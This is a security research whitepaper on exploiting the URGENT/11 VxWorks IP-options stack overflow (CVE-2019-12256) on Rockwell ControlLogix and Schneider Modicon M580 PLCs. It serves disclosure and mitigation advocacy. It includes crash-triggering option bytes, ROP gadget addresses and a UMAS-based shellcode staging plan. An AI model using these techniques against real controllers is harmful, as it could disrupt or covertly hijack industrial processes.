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Introduction 

In August of 2019, Armis Labs disclosed the discovery of 11 critical vulnerabilities in VxWorks, the 
most popular real-time operating system (RTOS), used by over 2 billion devices including 
mission-critical devices, such as industrial, medical, and enterprise devices. Dubbed ‘URGENT/11’, 
the vulnerabilities resided in IPnet, VxWorks’ TCP/IP stack, impacting versions for the last 13 
years, and are a rare example of vulnerabilities found to affect the operating system. In an update 
blog from October 2019, Armis Labs have also identified the affected IPnet TCP/IP stack was also 
in use by additional RTOSs, which meant the vulnerabilities had an even wider reach than initially 
predicted. All-in-all over 30 vendors have self-identified as being vulnerable URGENT/11, and 
have published security advisories and patches for their individually affected products. 

Among these vendors, many leading vendors of industrial controllers have also identified as 
being vulnerable to URGENT/11, including Rockwell Automation, Schneider Electric, and Siemens 
([1], [2]). Combined, these 3 vendors alone account for over 60% of the global market share of 
PLCs (programmable-logic-controllers). Thus, it is clear the impact of URGENT/11 on these types 
of devices is substantial. 

To better understand the technical aspects of this impact, and the threat posed by attackers 
exploiting URGENT/11 to take over PLC devices, and potentially severely harm manufacturing 
facilities and production lines, we decided to do a deep analysis of two popular PLCs: the 
Rockwell Automation Control Logix PLC family and the Schneider Electric Modicon M580 PLC. 

Our research shows that these devices can be targeted by one of the most critical CVEs from 
URGENT/11 - CVE-2019-12256, a stack overflow in the parsing of IP options in IPv4 packets. This 
CVE is an RCE (remote-code-execution) vulnerability that can be triggered by any IPv4 packet 
that contains an array of maliciously crafted IP options, regardless of the payload above the IP 
layer, and regardless of any specific application that may or may not have a listening socket 
bound to a certain port. This includes a maliciously crafted broadcast IPv4 packet that can be 
sent to the entire LAN, and trigger a stack overflow on any vulnerable device within it. A 
broadcast attack of this nature is extremely rare, and holds a uniquely powerful capability for an 
attacker, in which he does not need to carry out any reconnaissance steps to identify specific 
targets, and can simply use an opportunistic approach, sending the maliciously crafted broadcast 
packets to the network, and take-over any vulnerable devices on the same LAN, in parallel. 

This document will provide a detailed walkthrough of the exploitation process of the above CVE, 
on the two PLCs from Rockwell Automation and Schneider Electric. It will demonstrate how 
attackers can leverage this type of vulnerability to carry out sophisticated attacks -- Stuxnet-like 
attacks -- that can both take over industrial controllers remotely, without any authentication or 
user interaction, but also alter the behavior of these devices without the knowledge of their 
monitoring solutions (engineering workstations, or others). 

_________________________________________________________________________________________________________ 

URGENT/11 PLC EXPLOITATION  –  3 

©2020 Armis, Inc. All Rights Reserved. Armis is a registered trademark of Armis, Inc. 

https://www.armis.com/resources/iot-security-blog/urgent-11-update/
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https://cert-portal.siemens.com/productcert/pdf/ssa-189842.pdf
https://www.statista.com/statistics/897201/global-plc-market-share-by-manufacturer/


 

Shedding light on this type of sophisticated attack is needed to better understand the missing 
defenses in these mission-critical devices, and to define the mitigations needed to protect them. 

Who We Are 

Armis Labs is the Armis research team focused on mixing and splitting the atoms that comprise 
the IoT devices that surround us - be it a smart personal assistant, a benign-looking printer, a 
SCADA controller, or a life-supporting device such as a hospital bedside patient monitor. 

Our previous research includes: 

● EtherOops: Exploit Utilizing Packet-in-Packet Attacks on Ethernet Cables To Bypass 
Firewalls & NATs. The technical whitepaper for this research can be found here: 

○ EtherOops: Bypassing Firewalls and NATs By Exploiting Packet-in-Packet Attacks 
in Ethernet 

● CDPwn: 5 Zero-Day vulnerabilities in various implementations of Cisco’s CDP protocol, 
used by a wide array of their products. The technical whitepaper for this research can be 
found here: 

○ CDPwn: Breaking the discovery protocols of the Enterprise-of-Things 
● URGENT/11:  Zero Day vulnerabilities impacting VxWorks, the most widely used 

Real-Time Operating System (RTOS). The technical whitepaper for this research can be 
found here: 

○ URGENT/11: Critical vulnerabilities to remotely compromise VxWorks 
● BLEEDINGBIT: Two chip-level vulnerabilities in Texas Instruments BLE chips, embedded 

in Enterprise-grade Access Points. The technical whitepaper for this research can be 
found here: 

○ BLEEDINGBIT - The hidden attack surface within BLE chips 
● BlueBorne: An attack vector targeting devices via RCE vulnerabilities in Bluetooth stacks 

used by over 5.3 Billion devices. This research was comprised of 3 technical whitepapers: 
○ BlueBorne - The dangers of Bluetooth implementations: Unveiling zero-day 

vulnerabilities and security flaws in modern Bluetooth stacks 
○ BlueBorne on Android - Exploiting an RCE Over the Air 
○ Exploiting BlueBorne in Linux-Based IoT devices 
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https://www.armis.com/etheroops/
https://info.armis.com/rs/645-PDC-047/images/Armis-EtherOops-TWP-20200805-1.pdf
https://info.armis.com/rs/645-PDC-047/images/Armis-EtherOops-TWP-20200805-1.pdf
https://www.armis.com/cdpwn/
https://info.armis.com/rs/645-PDC-047/images/Armis-CDPwn-WP.pdf
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https://go.armis.com/hubfs/White-papers/Urgent11%20Technical%20White%20Paper.pdf
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http://go.armis.com/android-security-vulnerability
http://go.armis.com/blueborne-linux-technical-paper-success


 

OT, ICS, and PLCs 

Operational Technology (OT) is a term used to define the hardware and software dedicated to 
detecting or causing changes in physical processes through direct monitoring and/or control of 
physical devices such as valves or pumps. The segment of OT related to Industrial Control 
Systems (ICS) contains numerous devices and protocols but one of its main components is the 
Programmable Logic Controller (PLC). The PLC is the device responsible for the safe and correct 
operation of physical processes using all sorts of inputs and outputs like heat sensors, pumps, 
servos, and other devices. 

As described above, in this document we detail the exploit process of one of the URGENT/11 
vulnerabilities against two popular PLCs: 

● Rockwell Automation PLC - The Control Logix family 
● Schneider Electric PLC - The Modicon M580 

 

PLCs consist of a set of physical modules mounted on a shared backplane, each one in a 
different slot so that a user can mix and match the slot modules to make their own PLC. For the 
PLC to connect to an Ethernet network, one of the PLC slots must be filled with an Ethernet 
module. To manage and monitor the PLCs, the manufacturers provide an Engineering 
Workstation software (EWS) -- software applications that can connect to the PLC and monitor or 
change the logic it executes. 

In Rockwell’s ControlLogix family of PLCs, one of the popular Ethernet modules is 1756-EN2TR. 
In Schneider Electric’s M580 PLC, the Ethernet module is built-in within the PLC itself. 
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Diagram of Rockwell Automation’s Logix5573 PLC, from the Control Logix product line 



 

Gaining control over the Ethernet module of the PLC gives the attacker full control over incoming 
and outgoing communications between the PLC and the engineering workstation or HMI (Human 
Machine Interface). This type of control can allow the attacker to change the PLC configuration 
and logic without the PLC engineer or operator ever knowing about it. 

The most well-known attack that targeted a PLC is Stuxnet. Stuxnet was a worm that specifically 
targeted Siemens PLCs, causing substantial damage to Iran’s nuclear program. The Stuxnet 
malware exploited both the PLC and the Engineering Workstation in order to alter the logic 
executed by the PLC while covertly hiding the changes from workers monitoring the EWS. 

Short recap of CVE-2019-12256 - Stack overflow in parsing of IP options 

As mentioned above, this CVE is a stack overflow in IPnet, in the processing of specially crafted 
IPv4 packets with an array of certain malformed IP options. To fully understand this vulnerability 
and the mechanisms involved in it, the original whitepaper of URGENT/11 can be used as a guide. 

For the purpose of understanding the challenges in exploiting this vulnerability, a simplified 
overview of it is provided here: When sending a malformed IP packet containing multiple Source 
Record Route (SRR) options to a vulnerable VxWorks device, an ICMP error response packet is 
generated in response. The SRR options are copied into the IP options of the response packet 
without proper length validations, which results in an attacker-controlled stack overflow.  

The mechanisms in the IPnet stack in which the above flow can occur are a bit convoluted, 
however, the following diagram illustrates some of this flow: 

 
IPv4 packet handling flow chart, with calls to the ICMP error sending function 
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As shown above, while parsing incoming IPv4 packets, various code flows can lead to ICMP 
messages being sent in response to erroneous (malformed) packets. The ipnet_icmp4_send 
function will be used to send the response ICMP packets, and it will attempt to copy certain IP 
options from the incoming packet onto the outgoing packet with the function 
ipnet_icmp4_copyopts. In at least two code flows, the outgoing ICMP packet will be sent before 
the incoming packet is fully parsed, and the incoming IP options are fully validated to be legal, or 
even despite them failing validation already. This design flaw can lead to a stack overflow in the 
context of ipnet_icmp4_send. 

This vulnerability has existed since VxWorks version 6.9.3. Both of the PLCs we’ve chosen to 
exploit run versions of VxWorks greater than v6.9.3, and are thus impacted by this vulnerability. 

The actual vulnerable function in the above flow is ipnet_icmp4_copyopts, which copies the 
malformed IP options from the incoming packet out-of-bounds. However, the stack buffer that is 
being overflowed is actually in the stack frame of the function that calls ipnet_icmp4_copyopts -- 
ipnet_icmp4_send: 

As detailed in the original URGENT/11 whitepaper, when sending an IP packet that contains the 
following bytes in the IP options field, a stack overflow will occur: 
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struct Ipnet_ip4_sock_opts 
{ 
  int len; 
  uint8_t opts[40]; 
}; 
 
int ipnet_icmp4_send(Ipnet_icmp_param *icmp_param, Ip_bool is_igmp) 
{ 
  Ipnet_icmp_param *icmp_param; 
  Ipcom_pkt *failing_pkt; 
  struct Ipnet_copyopts_param options_to_copy; 
  struct Ipnet_ip4_sock_opts opts; 
  ... 
  ipnet_icmp4_copyopts(icmp_param, &options_to_copy, &opts, &ip4_info); 
  ... 
} 

Decompiled snippet from ipnet_icmp4_send  

Type (LSRR) Length SRR-Pointer Type (LSRR) Length SRR-Pointer 

\x83 \x03 \x27 \x83 \x03 \x27 



 

In this example, two LSRR options are contained in the IP options field. These LSRR options don’t 
contain any routing entries (each option length is only 3 bytes) and the SRR-Pointer field points 
past the end of the option. The code in ipnet_icmp4_copyopts will use these SRR-Pointer fields 
as the offset to the final route entry in an SRR option, and copy all the routing entries up to it to 
the outgoing packet options opts (allocated on the stack of ipnet_icmp4_send, as we see above).  
Each LSRR option in the input buffer is 3 bytes long, but it would generate a copied-out option of 
43 bytes (3 bytes header, 36 bytes of routing entries, 4 bytes of a new routing entry for the 
current route). The maximum value for each LSRR pointer is 0x27 (39), since 
ipnet_icmp4_copyopts will validate they don't exceed this value. However, since there is no 
validation (in this context) that the failing packet doesn’t contain more than one SSRR\LSRR 
option, sending multiple options of this type will result in the overflow of opts which is a 40 bytes 
array allocated on the stack. 

In the study cases, we’ll see below, we’ll analyze how this overflow manifests in the stack frames 
of the impacted devices, the exploit mitigations that are in use, and the means to bypass them. 

Basic reproduction 

To make sure that both PLCs we intended to exploit are indeed vulnerable to the above CVE, we 
sent a UDP packet containing an array of four LSRR options with the pointer pointing to 0x27 in 
the IPv4 options field. This should overflow the opts variable by more than 90 bytes—hopefully 
enough to crash the devices.  

As expected, both devices crashed. The Rockwell Ethernet module also printed this message to 
its four-byte monitor: “Cycle power to unit: Assert in Task tNet0 PC = 0x002001b0 Excp 16”. 

After these devices crash, they are in an unresponsive state and need a manual reset to start 
back up again. A manual reset means physically turning off and on the power to the entire PLC 
and not just the Ethernet module. 
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Rockwell ControlLogix PLC exploitation 

Having confirmed the Ethernet module (1756-EN2TR) used by our Rockwell ControlLogix PLC was 
in fact vulnerable to the IP options stack overflow vulnerability, we decided to dive deeper to 
gather more debug information to understand how this overflow impacts the device. 

Rockwell Crash Dump 

It appeared the Ethernet module contains a somewhat useful crash log (named Assert Log) in the 
web interface of the device: 

 

And this line was added to it after it was crashed with the basic reproduction script: 

 

Controlling the PC (at least some of it) 

An initial black-box approach to control the PC was attempted. Since this is a stack-overflow bug, 
it seemed the only variable to controlling the PC is to know the size of the stack frame, or more 
precisely the distance between the controlled buffer (opts), and the return address of the 
function. A binary search was done to ascertain the minimum amount of overflow bytes required 
to crash the device. This was achieved by incrementing the total options length (by incrementing 
the LSRR pointer) each time until the device crashed. 

_________________________________________________________________________________________________________ 

URGENT/11 PLC EXPLOITATION  –  9 

©2020 Armis, Inc. All Rights Reserved. Armis is a registered trademark of Armis, Inc. 



 

 
The minimal options buffer that got it crashing was: 

 
When this set of IP options was sent to the device, it crashed, however, the PC was 0x0018e708 
which means we weren’t able to control it. Poking around for some more random lengths and 
values didn’t yield positive results. Time to reverse engineer the firmware. 

Reversing the FW 

The PLC firmware update (V11.01) is a ZIP file containing multiple files, one of these files is an ELF 
file containing the actual firmware.  This firmware was found to run VxWorks v6.9.3.3. VxWorks 
can be compiled with a symbol table that can be later used for debugging or crash reports, so we 
decided to look for such a table throughout the ELF by searching for memory areas containing 
function addresses and function names referenced in close proximity. We found the following 
repeating structure that matches a function address to a function name: 

 
Using an IDA Python script we were able to set most of the function symbols in the file. This data 
structure also contained the names and addresses of global variables. 
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Type (LSRR) Length LSRR-Pointer Type (LSRR) Length LSRR-Pointer 

\x83 \x03 \x20 \x83 \x03 \x1a 

.data:005A1F9C dword_5A1F9C    DCD 0                   ; DATA XREF: usrStandal ... 

.data:005A1F9C                                         ; usrStandaloneInit+7C↑o 

... 

.data:005A1FA0                 DCD aAcmAllocateele     ; "ACM_AllocateElement" 

.data:005A1FA4                 DCD ACM_AllocateElement 

.data:005A1FA8                 DCD 0 

.data:005A1FAC                 DCD 0x50000 

.data:005A1FB0                 DCD 0 

.data:005A1FB4                 DCD aAcmAllocatetar     ; "ACM_AllocateTarget" 

.data:005A1FB8                 DCD ACM_AllocateTarget 

.data:005A1FBC                 DCD 0 

.data:005A1FC0                 DCD 0x50000 

.data:005A1FC4                 DCD 0 

.data:005A1FC8                 DCD aAcmCopycombufe ;"ACM_CopyComBufElementResponse" 

.data:005A1FCC                 DCD ACM_CopyComBufElementResponse 

.data:005A1FD0                 DCD 0 

.data:005A1FD4                 DCD 0x50000 



 

Examining the stack 

Examining the stack of ipnet_icmp4_send in the Ethernet module's firmware leads to the 
following stack frame: 

 
The opts variable that is being overflown is the last variable on the stack before the registers and 
return address. The function’s epilogue is this: 

 
Meaning the overflow will overwrite registers R5-R11 and the PC. It is possible that our early 
black-box attempts merely overflow the registers, while sparing the PC itself, leading to various 
crashes in the handling of the overflown registers. In order to trigger the overflow with enough 
bytes to control the PC we need to fill opts with at least 0x48 bytes (<40 bytes of opts> + <7 
registers> + <PC> = 72 = 0x48), meaning we will overflow it with exactly 32 bytes. As mentioned 
above, the LSRR pointers have to be no more than 0x27 (39) since ipnet_icmp4_copyopts will 
validate they don't exceed this value. 

The ipnet_icmp4_copyopts function implements a convoluted algorithm to support the copying 
of LSRR options, in which the route data (IP addresses) that is placed within each option is 
reversed (to allow the returned IP packet to flow in the same routing path as the input path; loose 
source routing is crazy). Due to additional unrelated bugs in the parsing of the LSRR structure, the 
overflow nature of the opts variable is a little bit hard to decipher. To understand it’s mechanics, 
we implemented the function in python, and simply ran it with the basic overflow LSRR options 
used in the basic reproduction section: 
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... 
-00000048 opts            DCB 40 dup(?) 
-00000020 
-00000020 ; end of stack variables 

LDMFD           SP!, {R5-R11,PC} 
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import struct 
 
options = b'\x83\x03\x27\x83\x03\x27' 
# Add padding 
options = options + ("\x00" * ((4 - (len(options) % 4)) % 4)) 
 
data = "".join([chr(i) for i in range(0x10, 0x10 + 100)]) 
 
def copyopts_pseudocode(opts_data, src_ip): 
    index = 0 
    out = [] 
 
    while index < min(len(opts_data), 40): 
        opt_type, opt_len = opts_data[index], opts_data[index+1] 
        opt_data = opts_data[index:] 
        index += ord(opt_len) 
        if opt_type == chr(0x83): 
            srr_ptr_offset = min(ord(opt_data[2]), 39) - 5 
            srr_opt = [ord(opt_data[0]), 3, 4] 
            while srr_ptr_offset > 0: 
                srr_opt.extend([ord(c) for c in  
                                Opt_data[srr_ptr_offset:][:4] 
                ]) 
                srr_opt[1] += 4 
                srr_ptr_offset -= 4 
            srr_opt.extend(src_ip) 
            srr_opt[1] += 4 
            out.extend(srr_opt) 
        else: 
            break 
 
    return out 
 
opts_data = options + data 
out = copyopts_pseudocode(opts_data, [0x22,] * 4) 
output = struct.pack("I", len(out)) + "".join([chr(d) for d in out]) 
open("out", "wb").write(output) 



 

Matching the output with the stack position we get the following table (green rows are fully 
attacker-controlled bytes): 

 

It is clear that the input bytes do make it to the overflown registers, and even to the PC register, 
but they get scrambled around a bit in the process. Moreover, controlling the bytes after the PC 
would be more useful, if we want to build some sort of ROP chain (spoiler alert, we do). Moving 
the “frame” of controlled bytes down in the stack is needed to achieve this. 

After a few iterations of playing around with the various LSRR pointers, we managed to align the 
overflow in such a way that registers R10, R11, the PC, and 3 dwords after the PC are overwritten 
in the stack with attacker-controlled data. The following IP options were used to achieve this 
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OptsOffset  StackVariable  Value(hex) 

0x0  opts->len  56000000 

0x4  opts->data  832b042a 

0x8    2b2c2d26 

…     … 

0x28     83032722 

0x2c  R5  22222283 

0x30  R6  2b042d2e 

0x34  R7  2f30292a 

0x38  R8  2b2c2526 

0x3c  R9  27282122 

0x40  R10  23241d1e 

0x44  R11  1f20191a 

0x48  PC  1b1c1516 

0x4c     17181112 

Type 
(LSRR) 

Length LSRR 
Pointer 

Type 
(LSRR) 

Length LSRR 
Pointer 

Type 
(LSRR) 

Length LSRR 
Pointer 

\x83 \x03 \x1D \x83 \x03 \x15 \x83 \x03 \x25 



 

And here is the result with the appropriate overwritten values. R10, R11, the return address (PC), 
and the following three dwords are under our control, more than enough for creating a 
write-what-where ROP chain exploit. 
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OptsOffset  StackVariable  Value(hex) 

0x0  opts->len  5d000000 

0x4  opts->data  831f041C 

0x8    1D1E1F18 

…     … 

0x28     191A1314 

0x2c  R5  15160010 

0x30  R6  11120325 

0x34  R7  00002222 

0x38  R8  22228327 

0x3c  R9  042A2B2C 

0x40  R10  2D262728 

0x44  R11  29222324 

0x48  PC  251E1F20 

0x4c     211A1B1C 

0x50     1D161718 

0x54     19121314 

0x58  …  15000010 



 

Getting to code execution 

In the early days, a stack overflow of this nature would easily rise to code execution by writing a 
shellcode directly to the stack and setting the PC to it. Surprisingly enough, this Rockwell device 
is not far from those days, in terms of exploit mitigation capabilities. The only mitigation in use is 
NX-bit\DEP (non-executable bit, data-execution-prevention) -- data sections in the firmware are 
non-executable, and code sections are non-writable. ASLR (address-space-layout-randomization) 
is not in use, and stack cookies are also not in use. The latter could have been very efficient in 
preventing a stack overflow of this nature from being easily exploitable.  

A simple and effective way to bypass the existing mitigations is to use ROP (Return Oriented 
Programming). 

Since we have somewhat limited control over the stack, a very small ROP chain will have to be 
implemented. Our goal is to achieve something within one or two gadgets and then use the 
remaining space in the chain to restore execution. If we manage to restore execution, we can 
simply trigger the same vulnerability over and over again, each time iterating the something that 
we do with a different action. This means turning this small stack overflow into a backdoor, that 
allows us to execute a single “command” (gadget\opcode) at a time. 

Our first milestone for this was to successfully restore execution. Since ipnet_icmp4_send can be 
called in multiple different code flows (see the flow chart on page 6), we decided to build an ROP 
chain that will allow us to dynamically test the exact offset we need to move the stack pointer, so 
that the previous stack frame (of the caller to ipnet_icmp4_send) is restored, and execution can 
be restored as well.  The register R11 is already under our control from the original overflow, and 
we can use it to ultimately move the SP by an offset of our choosing. We will use two gadgets: 

1. Move R11 to R12: 

2.  Add R12 to SP and return: 
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.text:0023F014                 MOV             R12, R11 

.text:0023F018                 MOV             R0, R12 

.text:0023F01C                 LDMFD           SP!, {R11,PC} 

.text:001C1144                 ADD             SP, SP, R12 

.text:001C1148                 LDMFD           SP!, {R6-R11,PC} 



 

So that the part of the stack under our control looks like this: 

 
Now, all we have to do is increment R11 until the device does not crash which happens when R11 
equals 24, meaning that the next valid stack-frame is 8 + 24 + 24 = 56 bytes from the return 
address we overwrite. Cool, now we need to find a gadget that can also do something with the 1 
dword left in our ROP chain... 

Write, What, Where 

We are able to develop an ROP chain that allows us to write 4 bytes (controlled) to a controlled 
address, a.k.a - a Write, What, Where primitive. Luckily, this required only two gadgets, that both 
implement the Write, What, Where, and (!) restore execution: 

1. Pop and ret 

2. R11[0x1AC] = R10, fix stack and ret 
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0x40  R10  Unused 

0x44  R11  <offset> 

0x48  PC  <Move R11 to R12, POP and RET> 

0x4c   New R11  Unused 

0x50   PC2  <Add R12 to SP, POP 6 dwords and RET> 

0x54     Unused 

.text:004DE8A8                 LDMFD           SP!, {R3,PC} 

.text:003EEC2C                 STR             R10, [R11,#0x1AC] 

.text:003EEC30                 B               loc_3EEC9C 

... 

.text:003EEC9C loc_3EEC9C 

.text:003EEC9C                 MOV             R1, #0 

.text:003EECA0                 MOV             R0, R1 

.text:003EECA4                 ADD             SP, SP, #0x18 

.text:003EECA8                 LDMFD           SP!, {R6-R11,PC} 



 

The second gadget implements the Write, What, Where primitive, by writing the value of R10 to 
the pointer set in R11 + 0x1AC. Since both registers are fully controlled by the original overflow, 
this allows writing arbitrary data to an arbitrary address. The gadget ends with adding 0x18 bytes 
to SP, meaning the stack frame is just short of 8 bytes in order to be aligned with the next valid 
frame. The first gadget accomplishes the needed alignment by popping two registers from the 
stack (R3, PC). 
 

 
And we even have one ROP gadget to spare. 

Putting it all together 

Despite the use of NX-bit\DEP, we found that address 0x07000000 is: 

● Filled with unused zeros 
● Writable 
● Executable (: 

All that was left was to write shellcode to this 
address using the ROP chain of the Write, What, 
Where primitive by triggering it multiple times, 
until all shellcode is uploaded, and lastly, trigger 
another overflow that will simply jump to this 
shellcode with a simple ROP chain. 

To make sure we have full control over the 
device we decided to display something on the 
device’s four characters monitor.  
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0x40  R10  <data> 

0x44  R11  <offset - 0x1AC> 

0x48  PC  <POP and RET> 

0x4c  R3  Unused 

0x50  PC2  <STR R10, [ R11, #0x1AC], Add 0x18 to SP, POP 6 dwords and RET> 

0x54     Unused 



 

Schneider Electric Modicon PLC Exploitation 

Having succeeded in exploiting the IP options parsing vulnerability on Rockwell’s Ethernet 
module, we continued our research to tackle Schneider Electric’s Modicon M580 PLC. In this 
PLC, the Ethernet module is built-in within the PLC itself, and as mentioned above, the same 
basic reproduction script was successful in crashing the device. The targeted PLC was running 
firmware version SV2.90, which is operated by VxWorks v6.9.4.8, which is known to be affected 
by the IP options parsing vulnerability described above. 

To better understand the crash, we started looking for ways to better analyze crashes in this PLC. 

Schneider Crash Dump 

Searching for debug interfaces such as UART or JTAG did not pan out. The M580’s CPU is 
named SPEAr1380 which seemed to be a version of STMicroelectronics’s SPEAr1340, however, 
its datasheet isn’t available online. Unfortunately, the pin layout of SPEAr1380 did not match the 
layout of SPEAr1340, and we were unable to locate the JTAG pins. 

 

Fortunately, Schneider's Control Expert software allows you to download a CPU diagnostic file. 
Analyzing the diagnostic file shows that it's a ZIP file containing trace files, one of them is a 
plain-text crash dump. With some simple parsing, we got a dump containing the crashing task 
info, registers, and stack. 

Using the developed exploit for the Rockwell 
PLC did not seem to work. However, analyzing 
the stack frame of ipnet_icmp4_send in the 
Modicon firmware led to the simple 
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understanding that the stack frame was slightly different: 

Aligning the overflow with this slightly different stack frame allowed us to control the PC. Despite 
this, it seemed that in Schneider’s case, we were unable to find a memory region that was both 
writable and executable, and thus we had to develop a different approach to gaining code 
execution of our shellcode. 

To run our own logic on the device we will upload code to data pages using commercially 
available functions of the PLC, by abusing the Modbus protocol (and specifically Schneider’s 
extension of it - UMAS). Then we will try to add execute permissions to these data pages with an 
ROP chain, and finally, jump to the uploaded shellcode. 

Modbus 

Modbus is a very popular and mature protocol for controlling PLCs in SCADA systems. It was first 
published by Modicon (now Schneider Electric), the manufacturer of the M580. Modbus was 
designed back in 1979 and is missing features required by modern systems, features like 
transferring binary objects to and from the PLC. 

Modbus can be transferred over serial communication or IP communication. The widely used 
network version of Modbus is the Modbus/TCP standard. 

Modbus/TCP header 

Modbus doesn’t provide security of any kind, allowing anyone with access to a Modbus channel 
to perform any available function. This is the reason many PLC providers extend their Modbus 
implementation with proprietary features. Adding authentication is the most common feature that 
is added. 

Modicon chose to extend the Modbus implementation under a reserved, proprietary Modbus 
function code. They added authentication, binary data transfer, firmware update, and more 
features using this extended protocol.  

UMAS 

UMAS is Schneider’s extension protocol to the Modbus protocol used by the Modicon PLCs. 

UMAS header (including Modbus’s function code field, with Schneider’s reserved 0x5A code) 
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Transaction ID  Protocol ID  Length  Unit ID  Function Code  Data 

Function Code 0x5A  Umas session  Umas Fcode  Command 



 

One of the proprietary functions supported by UMAS is the BLOCK_WRITE command. No 
authentication is needed to use this command: 

 
The BLOCK_WRITE command allows the upload of arbitrary data to certain memory blocks 
(identified by the BlockID seen above). The blocks are located in fixed memory addresses and 
are marked as writable or non-writable. When trying to write to a read-only block, the 
BLOCK_WRITE implementation returns an error response. This allows simple enumeration over 
the blocks to find the writable ones. 

The blocks are statically allocated at compile time and some of the writable blocks can reach a 
length of 8KB, which is more than enough for any shellcode. The address locations of these 
blocks can be found easily when reversing the firmware. We will use this command to upload our 
shellcode to a predetermined memory location. 

Exploit mitigations 

Similar to Rockwell’s PLCs, the M580 employs NX-bit and DEP protection -- data sections are 
non-executable, and code sections are non-writable. This mechanism is implemented by the 
MMU (memory management unit) of the CPU which controls the permissions for each memory 
page. 

To change page permissions VxWorks offers the vmStateSet function. We will use this function as 
part of our ROP chain to add execute permissions to our controlled data pages. 

 

vmStateSet function prologue 
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Umas FCode 0x21  Block ID  Offset  Length  Data 



 

Arguments in ARM are passed using registers and stack, and vmStateSet accepts five arguments 
(r0-r3 registers for the first four, and the last argument from the stack). As a result of ARM’s 
function calling conventions, it's uncommon to stumble upon a single gadget that sets up all 
these registers. Lucky, the first thing the function does is to copy these arguments to r7-r11. It is 
extremely easy to find gadgets that set up r7-r11. We can jump to a few opcodes after the function 
vmStateSet starts (right after r7-r11 registers are set up).  

Exploitation plan summary 

To sum this up, the exploitation flow looks like this: 

1. Upload the shellcode to a non-executable data page using the UMAS BLOCK_WRITE 
command 

2. Upload, in the same fashion, a crafted stack frame that contains an ROP chain that will 
disable the NX-bit for the data page where the shellcode is stored, and then jumps to it. 

3. Use the IP options vulnerability (CVE-2019-12256) to overflow the SP register and pivot to 
the newly crafted stack that disables the NX bit and jumps to the shellcode. 

4. The uploaded shellcode restores execution by correcting the code flow (stack, stack 
pointer, etc.), so the device can continue functioning properly. 

At that point, the attacker gains full control over the Modicon Ethernet module, just like the 
Rockwell Ethernet module. 

Restoring Execution 

In order to exploit the device multiple times without crashing it, the attacker needs the execution 
flow to return back to the normal flow. To do that, we need to put the stack a few frames back to 
a correct parent function.  

 

Using the crash dump’s stack, we analyzed tNet0’s stack and found the offset to the stack frame 
of the previous function in the original code flow (ipnet_eth_rx). Fixing the SP at the end of our 
shellcode allows the PLC to continue functioning properly. 
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Screenshot from a demo video, showing the developed exploit blinking  
an LED on the Modicon PLC, sending out the S-O-S morse code. 

Implications 

The exploit research for both Rockwell and Schneider PLCs demonstrated in this document 
shows how attackers may leverage the URGENT/11 vulnerabilities to take over PLCs, in a fully 
remote and unauthenticated fashion. Gaining control over a PLC (or over it’s Ethernet module, for 
that matter), can allow attackers to eavesdrop and alter the communication between the 
Engineering Workstation and the PLC. This can allow attackers to alter the PLC logic while 
sending the Engineering Workstation telemetries as if the code is untouched. This in turn can 
allow a fully functional malware to control the PLC, and hide its effects. 

Such types of attacks have occurred in the past (Stuxnet, and others), and had devastating effects 
on manufacturing facilities and production lines. While zero-days are a risk that is hard to 
completely mitigate, exploit mitigation techniques should be used much more aggressively by 
mission-critical devices such as PLCs. Despite the challenges detailed throughout this document, 
exploiting stack-overflow vulnerabilities is relatively straightforward when basic mitigations are 
not in use.   
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